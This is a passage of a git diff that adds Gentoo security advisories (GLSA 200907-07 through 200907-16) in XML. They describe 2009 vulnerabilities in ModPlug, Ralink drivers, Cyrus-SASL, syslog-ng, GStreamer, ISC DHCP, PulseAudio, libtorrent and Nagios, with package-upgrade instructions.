+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1855">CVE-2009-1855</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1856">CVE-2009-1856</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1857">CVE-2009-1857</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1858">CVE-2009-1858</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1859">CVE-2009-1859</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1861">CVE-2009-1861</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2028">CVE-2009-2028</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 21 Jun 2009 19:11:36 +0000">
+    keytoaster
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 09 Jul 2009 17:45:58 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 09 Jul 2009 17:47:39 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200907-07.xml b/xml/htdocs/security/en/glsa/glsa-200907-07.xml
new file mode 100644
index 00000000..e746b2ae
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200907-07.xml
@@ -0,0 +1,95 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200907-07">
+  <title>ModPlug: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    ModPlug contains several buffer overflows that could lead to the execution
+    of arbitrary code.
+  </synopsis>
+  <product type="ebuild">libmodplug gst-plugins-bad</product>
+  <announced>July 12, 2009</announced>
+  <revised>July 12, 2009: 01</revised>
+  <bug>266913</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/libmodplug" auto="yes" arch="*">
+      <unaffected range="ge">0.8.7</unaffected>
+      <vulnerable range="lt">0.8.7</vulnerable>
+    </package>
+    <package name="media-libs/gst-plugins-bad" auto="yes" arch="*">
+      <unaffected range="ge">0.10.11</unaffected>
+      <vulnerable range="lt">0.10.11</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ModPlug is a library for playing MOD-like music.
+    </p>
+  </background>
+  <description>
+    <p>
+    Two vulnerabilities have been reported in ModPlug:
+    </p>
+    <ul>
+    <li>
+    dummy reported an integer overflow in the CSoundFile::ReadMed()
+    function when processing a MED file with a crafted song comment or song
+    name, which triggers a heap-based buffer overflow (CVE-2009-1438).
+    </li>
+    <li>
+    Manfred Tremmel and Stanislav Brabec reported a buffer overflow in the
+    PATinst() function when processing a long instrument name
+    (CVE-2009-1513).
+    </li>
+    </ul> <p>
+    The GStreamer Bad plug-ins (gst-plugins-bad) before 0.10.11 built a
+    vulnerable copy of ModPlug.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to read specially crafted files,
+    possibly resulting in the execution of arbitrary code with the
+    privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ModPlug users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/libmodplug-0.8.7&quot;</code>
+    <p>
+    gst-plugins-bad 0.10.11 and later versions do not include the ModPlug
+    plug-in (it has been moved to media-plugins/gst-plugins-modplug). All
+    gst-plugins-bad users should upgrade to the latest version and install
+    media-plugins/gst-plugins-modplug:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/gst-plugins-bad-0.10.11&quot;
+    # emerge --ask --verbose &quot;media-plugins/gst-plugins-modplug&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1438">CVE-2009-1438</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1513">CVE-2009-1513</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 10 Jul 2009 13:45:14 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 11 Jul 2009 01:50:33 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 11 Jul 2009 01:50:38 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200907-08.xml b/xml/htdocs/security/en/glsa/glsa-200907-08.xml
new file mode 100644
index 00000000..f2bfa883
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200907-08.xml
@@ -0,0 +1,86 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200907-08">
+  <title>Multiple Ralink wireless drivers: Execution of arbitrary code</title>
+  <synopsis>
+    An integer overflow in multiple Ralink wireless drivers might lead to the
+    execution of arbitrary code with elevated privileges.
+  </synopsis>
+  <product type="ebuild">rt2400 rt2500 rt2570 rt61 ralink-rt61</product>
+  <announced>July 12, 2009</announced>
+  <revised>July 12, 2009: 01</revised>
+  <bug>257023</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-wireless/rt2400" auto="yes" arch="*">
+      <vulnerable range="le">1.2.2_beta3</vulnerable>
+    </package>
+    <package name="net-wireless/rt2500" auto="yes" arch="*">
+      <vulnerable range="le">1.1.0_pre2007071515</vulnerable>
+    </package>
+    <package name="net-wireless/rt2570" auto="yes" arch="*">
+      <vulnerable range="le">20070209</vulnerable>
+    </package>
+    <package name="net-wireless/rt61" auto="yes" arch="*">
+      <vulnerable range="le">1.1.0_beta2</vulnerable>
+    </package>
+    <package name="net-wireless/ralink-rt61" auto="yes" arch="*">
+      <vulnerable range="le">1.1.1.0</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    All listed packages are external kernel modules that provide drivers
+    for multiple Ralink devices. ralink-rt61 is released by ralinktech.com,
+    the other packages by the rt2x00.serialmonkey.com project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Aviv reported an integer overflow in multiple Ralink wireless card
+    drivers when processing a probe request packet with a long SSID,
+    possibly related to an integer signedness error.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A physically proximate attacker could send specially crafted packets to
+    a user who has wireless networking enabled, possibly resulting in the
+    execution of arbitrary code with root privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Unload the kernel modules.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All external kernel modules have been masked and we recommend that
+    users unmerge those drivers. The Linux mainline kernel has equivalent
+    support for these devices and the vulnerability has been resolved in
+    stable versions of sys-kernel/gentoo-sources.
+    </p>
+    <code>
+    # emerge --unmerge &quot;net-wireless/rt2400&quot;
+    # emerge --unmerge &quot;net-wireless/rt2500&quot;
+    # emerge --unmerge &quot;net-wireless/rt2570&quot;
+    # emerge --unmerge &quot;net-wireless/rt61&quot;
+    # emerge --unmerge &quot;net-wireless/ralink-rt61&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0282">CVE-2009-0282</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 09 Jul 2009 18:18:38 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 09 Jul 2009 18:30:24 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 12 Jul 2009 15:41:07 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200907-09.xml b/xml/htdocs/security/en/glsa/glsa-200907-09.xml
new file mode 100644
index 00000000..995d4e4a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200907-09.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200907-09">
+  <title>Cyrus-SASL: Execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow in Cyrus-SASL might allow for the execution of arbitrary
+    code in applications or daemons that authenticate using SASL.
+  </synopsis>
+  <product type="ebuild">cyrus-sasl</product>
+  <announced>July 12, 2009</announced>
+  <revised>July 12, 2009: 01</revised>
+  <bug>270261</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-libs/cyrus-sasl" auto="yes" arch="*">
+      <unaffected range="ge">2.1.23</unaffected>
+      <vulnerable range="lt">2.1.23</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cyrus-SASL is an implementation of the Simple Authentication and
+    Security Layer.
+    </p>
+  </background>
+  <description>
+    <p>
+    James Ralston reported that in certain situations, Cyrus-SASL does not
+    properly terminate strings which can result in buffer overflows when
+    performing Base64 encoding.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote unauthenticated user might send specially crafted packets to a
+    daemon using Cyrus-SASL, possibly resulting in the execution of
+    arbitrary code with the privileges of the user running the daemon or a
+    Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cyrus-SASL users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-libs/cyrus-sasl-2.1.23&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0688">CVE-2009-0688</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 09 Jul 2009 18:32:29 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 09 Jul 2009 21:10:28 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 10 Jul 2009 10:41:22 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200907-10.xml b/xml/htdocs/security/en/glsa/glsa-200907-10.xml
new file mode 100644
index 00000000..0dd56011
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200907-10.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200907-10">
+  <title>Syslog-ng: Chroot escape</title>
+  <synopsis>
+    Syslog-ng does not properly initialize its chroot jail allowing for an
+    escape if a separate vulnerability in Syslog-ng is exploited.
+  </synopsis>
+  <product type="ebuild">syslog-ng</product>
+  <announced>July 12, 2009</announced>
+  <revised>July 12, 2009: 01</revised>
+  <bug>247278</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-admin/syslog-ng" auto="yes" arch="*">
+      <unaffected range="rge">2.0.10</unaffected>
+      <unaffected range="ge">2.1.3</unaffected>
+      <vulnerable range="lt">2.1.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Syslog-ng is a flexible and scalable system logger.
+    </p>
+  </background>
+  <description>
+    <p>
+    Florian Grandel reported that Syslog-ng does not call chdir() before
+    chroot() which leads to an inherited file descriptor to the current
+    working directory.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A local attacker might exploit a separate vulnerability in Syslog-ng
+    and use this vulnerability to escape the chroot jail.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Syslog-ng 2.0 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/syslog-ng-2.0.10&quot;</code>
+    <p>
+    All Syslog-ng 2.1 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/syslog-ng-2.1.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5110">CVE-2008-5110</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 10 Jul 2009 11:11:22 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 10 Jul 2009 11:21:31 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 10 Jul 2009 11:21:44 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200907-11.xml b/xml/htdocs/security/en/glsa/glsa-200907-11.xml
new file mode 100644
index 00000000..2dce701c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200907-11.xml
@@ -0,0 +1,112 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200907-11">
+  <title>GStreamer plug-ins: User-assisted execution of arbitrary code</title>
+  <synopsis>
+    Multiple vulnerabilities in multiple GStreamer plug-ins might allow for the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">gst-plugins-good gst-plugins-base gst-plugins-libpng</product>
+  <announced>July 12, 2009</announced>
+  <revised>July 12, 2009: 01</revised>
+  <bug>256096</bug>
+  <bug>261594</bug>
+  <bug>272972</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/gst-plugins-good" auto="yes" arch="*">
+      <unaffected range="ge">0.10.14</unaffected>
+      <vulnerable range="lt">0.10.14</vulnerable>
+    </package>
+    <package name="media-libs/gst-plugins-base" auto="yes" arch="*">
+      <unaffected range="ge">0.10.22</unaffected>
+      <vulnerable range="lt">0.10.22</vulnerable>
+    </package>
+    <package name="media-plugins/gst-plugins-libpng" auto="yes" arch="*">
+      <unaffected range="ge">0.10.14-r1</unaffected>
+      <vulnerable range="lt">0.10.14-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The GStreamer plug-ins provide decoders to the GStreamer open source
+    media framework.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in several GStreamer
+    plug-ins:
+    </p>
+    <ul>
+    <li>
+    Tobias Klein reported two heap-based buffer overflows and an array
+    index error in the qtdemux_parse_samples() function in gst-plugins-good
+    when processing a QuickTime media .mov file (CVE-2009-0386,
+    CVE-2009-0387, CVE-2009-0397).
+    </li>
+    <li>
+    Thomas Hoger of the Red Hat Security Response Team reported an integer
+    overflow that can lead to a heap-based buffer overflow in the
+    gst_vorbis_tag_add_coverart() function in gst-plugins-base when
+    processing COVERART tags (CVE-2009-0586).
+    </li>
+    <li>
+    Tielei Wang of ICST-ERCIS, Peking University reported multiple integer
+    overflows leading to buffer overflows in gst-plugins-libpng when
+    processing a PNG file (CVE-2009-1932).
+    </li>
+    </ul>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or automated system using a
+    GStreamer plug-in to process a specially crafted file, resulting in the
+    execution of arbitrary code or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All gst-plugins-good users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/gst-plugins-good-0.10.14&quot;</code>
+    <p>
+    All gst-plugins-base users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/gst-plugins-base-0.10.22&quot;</code>
+    <p>
+    All gst-plugins-libpng users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-plugins/gst-plugins-libpng-0.10.14-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0386">CVE-2009-0386</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0387">CVE-2009-0387</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0397">CVE-2009-0397</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0586">CVE-2009-0586</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1932">CVE-2009-1932</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 10 Jul 2009 13:44:55 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 11 Jul 2009 01:19:25 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 11 Jul 2009 01:21:49 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200907-12.xml b/xml/htdocs/security/en/glsa/glsa-200907-12.xml
new file mode 100644
index 00000000..d429c31c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200907-12.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200907-12">
+  <title>ISC DHCP: dhcpclient Remote execution of arbitrary code</title>
+  <synopsis>
+    A buffer overflow in dhclient as included in the ISC DHCP implementation
+    allows for the remote execution of arbitrary code with root privileges.
+  </synopsis>
+  <product type="ebuild">dhcp</product>
+  <announced>July 14, 2009</announced>
+  <revised>July 14, 2009: 01</revised>
+  <bug>277729</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/dhcp" auto="yes" arch="*">
+      <unaffected range="ge">3.1.1-r1</unaffected>
+      <vulnerable range="lt">3.1.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ISC DHCP is the reference implementation of the Dynamic Host
+    Configuration Protocol as specified in RFC 2131.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Mandriva Linux Engineering Team has reported a stack-based buffer
+    overflow in the subnet-mask handling of dhclient.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker might set up a rogue DHCP server in a victim's local
+    network, possibly leading to the execution of arbitrary code with root
+    privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ISC DHCP users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/dhcp-3.1.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0692">CVE-2009-0692</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 12 Jul 2009 14:21:43 +0000">
+    a3li
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 12 Jul 2009 14:58:48 +0000">
+    a3li
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 14 Jul 2009 17:38:51 +0000">
+    a3li
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200907-13.xml b/xml/htdocs/security/en/glsa/glsa-200907-13.xml
new file mode 100644
index 00000000..db9d0b1c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200907-13.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200907-13">
+  <title>PulseAudio: Local privilege escalation</title>
+  <synopsis>
+    A vulnerability in PulseAudio may allow a local user to execute code with
+    escalated privileges.
+  </synopsis>
+  <product type="ebuild">pulseaudio</product>
+  <announced>July 16, 2009</announced>
+  <revised>July 16, 2009: 01</revised>
+  <bug>276986</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-sound/pulseaudio" auto="yes" arch="*">
+      <unaffected range="ge">0.9.9-r54</unaffected>
+      <vulnerable range="lt">0.9.9-r54</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PulseAudio is a network-enabled sound server with an advanced plug-in
+    system.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy and Julien Tinnes of the Google Security Team discovered
+    that the pulseaudio binary is installed setuid root, and does not drop
+    privileges before re-executing itself. The vulnerability has
+    independently been reported to oCERT by Yorick Koster.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local user who has write access to any directory on the file system
+    containing /usr/bin can exploit this vulnerability using a race
+    condition to execute arbitrary code with root privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Ensure that the file system holding /usr/bin does not contain
+    directories that are writable for unprivileged users.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PulseAudio users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/pulseaudio-0.9.9-r54&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1894">CVE-2009-1894</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 09 Jul 2009 16:33:42 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 09 Jul 2009 16:51:52 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 16 Jul 2009 14:13:15 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200907-14.xml b/xml/htdocs/security/en/glsa/glsa-200907-14.xml
new file mode 100644
index 00000000..c28ca2de
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200907-14.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200907-14">
+  <title>Rasterbar libtorrent: Directory traversal</title>
+  <synopsis>
+    A directory traversal vulnerability in Rasterbar libtorrent might allow a
+    remote attacker to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">rb_libtorrent deluge</product>
+  <announced>July 17, 2009</announced>
+  <revised>July 17, 2009: 01</revised>
+  <bug>273156</bug>
+  <bug>273961</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-libs/rb_libtorrent" auto="yes" arch="*">
+      <unaffected range="ge">0.13-r1</unaffected>
+      <vulnerable range="lt">0.13-r1</vulnerable>
+    </package>
+    <package name="net-p2p/deluge" auto="yes" arch="*">
+      <unaffected range="ge">1.1.9</unaffected>
+      <vulnerable range="lt">1.1.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Rasterbar libtorrent is a C++ BitTorrent implementation focusing on
+    efficiency and scalability. Deluge is a BitTorrent client that ships a
+    copy of libtorrent.
+    </p>
+  </background>
+  <description>
+    <p>
+    census reported a directory traversal vulnerability in
+    src/torrent_info.cpp that can be triggered via .torrent files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user or automated system using
+    Rasterbar libtorrent to load a specially crafted BitTorrent file to
+    create or overwrite arbitrary files using dot dot sequences in
+    filenames.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Rasterbar libtorrent users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-libs/rb_libtorrent-0.13-r1&quot;</code>
+    <p>
+    All Deluge users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-p2p/deluge-1.1.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1760">CVE-2009-1760</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 10 Jul 2009 10:55:00 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 11 Jul 2009 02:02:27 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 17 Jul 2009 06:51:09 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200907-15.xml b/xml/htdocs/security/en/glsa/glsa-200907-15.xml
new file mode 100644
index 00000000..b928bdf2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200907-15.xml
@@ -0,0 +1,96 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200907-15">
+  <title>Nagios: Execution of arbitrary code</title>
+  <synopsis>
+    Multiple vulnerabilities in Nagios may lead to the execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">nagios-core</product>
+  <announced>July 19, 2009</announced>
+  <revised>July 19, 2009: 01</revised>
+  <bug>245887</bug>
+  <bug>249876</bug>
+  <bug>275288</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/nagios-core" auto="yes" arch="*">
+      <unaffected range="ge">3.0.6-r2</unaffected>
+      <vulnerable range="lt">3.0.6-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Nagios is an open source host, service and network monitoring program.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities have been reported in Nagios:
+    </p>
+    <ul>
+    <li>
+    Paul reported that statuswml.cgi does not properly sanitize shell
+    metacharacters in the (1) ping and (2) traceroute parameters
+    (CVE-2009-2288).
+    </li>
+    <li>
+    Nagios does not properly verify whether an authenticated user is
+    authorized to run certain commands (CVE-2008-5027).
+    </li>
+    <li>
+    Andreas Ericsson reported that Nagios does not perform validity checks
+    to verify HTTP requests, leading to Cross-Site Request Forgery
+    (CVE-2008-5028).
+    </li>
+    <li>
+    An unspecified vulnerability in Nagios related to CGI programs,
+    "adaptive external commands," and "writing newlines and submitting
+    service comments" has been reported (CVE-2008-6373).
+    </li>
+    </ul>
+  </description>
+  <impact type="high">
+    <p>
+    A remote authenticated or unauthenticated attacker may exploit these
+    vulnerabilities to execute arbitrary commands or elevate privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Nagios users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-analyzer/nagios-core-3.0.6-r2&quot;</code>
+    <p>
+    NOTE: Users of the Nagios 2 branch can update to version 2.12-r1 which
+    contains a patch to fix CVE-2009-2288. However, that branch is not
+    supported upstream or in Gentoo and we are unaware whether the other
+    vulnerabilities affect 2.x installations.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5027">CVE-2008-5027</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5028">CVE-2008-5028</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6373">CVE-2008-6373</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2288">CVE-2009-2288</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 10 Jul 2009 13:14:06 +0000">
+    rbu
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 19 Jul 2009 15:48:17 +0000">
+    rbu
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 19 Jul 2009 15:48:53 +0000">
+    rbu
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200907-16.xml b/xml/htdocs/security/en/glsa/glsa-200907-16.xml
new file mode 100644
index 00000000..42588aa4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200907-16.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200907-16">
+  <title>Python: Integer overflows</title>
+  <synopsis>
